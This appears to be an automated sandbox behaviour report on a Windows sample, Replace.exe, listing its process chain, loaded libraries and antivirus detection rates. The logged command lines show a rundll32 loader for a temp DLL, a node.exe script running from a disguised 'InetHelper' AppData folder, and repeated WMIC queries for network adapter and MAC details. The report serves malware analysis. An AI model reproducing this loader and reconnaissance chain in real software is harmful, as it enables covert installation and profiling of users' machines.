Source: C:\Users\user\Desktop\Replace.exe

File created: C:\Users\user\AppData\Local\Temp\7zS49DD90FA

Jump to behavior

Source: C:\Users\user\Desktop\Replace.exe	Command line argument: 7-Zip	0_2_00BCB658
Source: C:\Users\user\Desktop\Replace.exe	Command line argument: 7-Zip	0_2_00BCB658
Source: C:\Users\user\Desktop\Replace.exe	Command line argument: 7-Zip	0_2_00BCB658
Source: C:\Users\user\Desktop\Replace.exe	Command line argument: run.exe	0_2_00BCB658
Source: C:\Users\user\Desktop\Replace.exe	Command line argument: 7-Zip	0_2_00BCB658
Source: C:\Users\user\Desktop\Replace.exe	Command line argument: %%T\	0_2_00BCB658
Source: C:\Users\user\Desktop\Replace.exe	Command line argument: %%T	0_2_00BCB658

Source: Replace.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\rundll32.exe

File read: C:\Program Files (x86)\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Replace.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\Replace.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 "C:\Users\user\AppData\Local\Temp\wsc86FC.tmp",Start verpostfix=bt

Source: Replace.exe	ReversingLabs: Detection: 28%
Source: Replace.exe	Virustotal: Detection: 49%

Source: rundll32.exe

String found in binary or memory: /downloads/winapp/latest-installer.exe

Source: C:\Users\user\Desktop\Replace.exe

File read: C:\Users\user\Desktop\Replace.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Replace.exe "C:\Users\user\Desktop\Replace.exe"
Source: C:\Users\user\Desktop\Replace.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 "C:\Users\user\AppData\Local\Temp\wsc86FC.tmp",Start verpostfix=bt
Source: C:\Users\user\Desktop\Replace.exe	Process created: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe .\run.exe
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http:///
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2500 --field-trial-handle=2272,i,3908760233601738939,4589788007160690134,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" "C:\Users\user\AppData\Local\Temp\wsc86FC.tmp",Start verpostfix=bt
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\system32\rundll32.exe" "C:\Users\user\AppData\Local\Temp\wsc86FC.tmp",Start verpostfix=bt
Source: unknown	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" "C:\Users\user\AppData\Local\Temp\wsc86FC.tmp",Start verpostfix=bt
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\system32\rundll32.exe" "C:\Users\user\AppData\Local\Temp\wsc86FC.tmp",Start verpostfix=bt
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Users\user\AppData\Local\Temp\wnsA071.tmp wscsu.exe /S /VERPOSTFIX=bt
Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe"
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe" "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\service.js"
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp wscsu.exe /S /VERPOSTFIX=bt
Source: C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe" St0P
Source: C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe"
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe" "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\service.js"
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Users\user\AppData\Local\Temp\wnsF0F3.tmp wscsu.exe /S /VERPOSTFIX=bt
Source: unknown	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe"
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe" "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\service.js"
Source: C:\Users\user\AppData\Local\Temp\wnsF0F3.tmp	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe" St0P
Source: C:\Users\user\AppData\Local\Temp\wnsF0F3.tmp	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe"
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe" "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\service.js"
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Replace.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 "C:\Users\user\AppData\Local\Temp\wsc86FC.tmp",Start verpostfix=bt	Jump to behavior
Source: C:\Users\user\Desktop\Replace.exe	Process created: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe .\run.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Users\user\AppData\Local\Temp\wnsA071.tmp wscsu.exe /S /VERPOSTFIX=bt	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2500 --field-trial-handle=2272,i,3908760233601738939,4589788007160690134,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\system32\rundll32.exe" "C:\Users\user\AppData\Local\Temp\wsc86FC.tmp",Start verpostfix=bt	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp wscsu.exe /S /VERPOSTFIX=bt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\system32\rundll32.exe" "C:\Users\user\AppData\Local\Temp\wsc86FC.tmp",Start verpostfix=bt
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Users\user\AppData\Local\Temp\wnsF0F3.tmp wscsu.exe /S /VERPOSTFIX=bt
Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe" "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\service.js"	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe" St0P	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe" "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\service.js"
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table
Source: C:\Users\user\AppData\Local\Temp\wnsF0F3.tmp	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe" St0P
Source: C:\Users\user\AppData\Local\Temp\wnsF0F3.tmp	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe"
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe" "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\service.js"
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe" "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\service.js"
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table

Source: C:\Users\user\Desktop\Replace.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Replace.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Replace.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Replace.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Replace.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Replace.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Replace.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Replace.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Replace.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Replace.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Replace.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Replace.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iertutil.dll	Jump to behavior
